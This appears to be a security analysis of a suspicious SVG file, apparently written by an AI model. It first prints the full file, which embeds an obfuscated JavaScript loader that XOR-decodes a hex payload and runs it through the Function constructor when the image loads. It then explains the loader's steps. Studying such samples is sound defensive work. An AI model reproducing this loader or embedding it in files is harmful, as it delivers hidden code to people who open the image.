The provided code appears to be an SVG file containing...

July 2, 2025 at 08:37 PM

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg xmlns="http://www.w3.org/2000/svg" width="400" height="250">
<script>
<![CDATA[

S = 'xxxxxx';
(() => {
  const i = "bdd65fd0865d8e48898806a4", j = "150d0a525a114a5c57555410510a5a16504b5d5e100b4155160b061e55072c62581d12545b2d13131a740e74121d434d5a1d461d55043057581d12505a571313585a4d62501d015a340e041d123f09091f1d121174081313586f4274501d46042452431d55373254581d5529593254131a77086e121d46042055431d552b1e7e581d122b620c13131a01531a191d320f";
  const u = j.match(/.{2}/g), T = [];
  for (let B = 0; B < u.length; B++) {
    T.push(String.fromCharCode(parseInt(u[B], 16) ^ i.charCodeAt(B % i.length)));
  }
  const s = T.join('');
  const A = {
    toString: () => {
      const r = [][
        [115,111,109,101].map(y => String.fromCharCode(y)).join('')
      ][
        [99,111,110,115,116,114,117,99,116,111,114].map(y => String.fromCharCode(y)).join('')
      ];
      return r(s)(), 1;
    }
  };
  A + '';
})();
]]>
</script>
</svg>

The provided code appears to be an SVG file containing an embedded JavaScript <script> block. Within the script, obfuscated JavaScript is used, suggesting it attempts to perform a hidden or encrypted operation. Below, I'll outline what it does step by step:

Structure and Components

SVG Block:
The SVG provides a container that allows embedding of JavaScript using the <script> tag. The XML declaration in the first line specifies metadata, but it doesn't affect the behavior.
CDDATA Block:
Inside <script><![CDATA[ ... ]]></script>, the JavaScript code is wrapped to ensure it is not misinterpreted by the XML parser.

Deobfuscation and Key Operations

String Decryption Loop:
- Two hexadecimal-encoded strings (i and j) are defined:
```
const i = "bdd65fd0865d8e48898806a4";
const j = "150d0a525a...";  // Long encoded string
```
- The code processes j in 2-character chunks (representing hexadecimal values), decodes them into integers, and applies a XOR operation with characters from i (using a modulo-based cyclic indexing).
- Result: A decrypted string (s) is derived from the encoded data in j.
Dynamic Constructor Execution:
- A custom object A is created with a toString method.
- Within the toString method:
  - Two obfuscated functions are dynamically reconstructed:
    1. some → Reconstructs the name Array.prototype.some.
    2. constructor → Reconstructs Function in JavaScript.
  - The constructor is invoked with the decrypted string (s) and executed:
```
return r(s)(), 1;
```
  - This effectively evaluates the decrypted string from step 1 as JavaScript code.
Execution of A:
- (A + '') triggers the custom toString method of A, leading to the execution of the dynamically constructed and decrypted JavaScript.

What Can This Code Do?

The provided script is highly obfuscated, but:

It decrypts a hidden payload (s) encoded within the variable j.
It executes this decrypted string as JavaScript dynamically.

Without knowing the exact contents of the decrypted string (s), the code's ultimate purpose is unclear. However, executing arbitrary decrypted JavaScript code is a potential security risk, as it could:

Execute malicious actions (e.g., data exfiltration, phishing).
Manipulate the DOM or browser environment.

Key Takeaways

This code is an example of obfuscation, where the intent and functionality are deliberately made difficult to understand.
The decrypted string (s) is the key to understanding the actual behavior.
Running such code without decoding and examining s would be very risky.

To fully understand its intent, you would need to extract and decode the final string (s) and analyze its contents.

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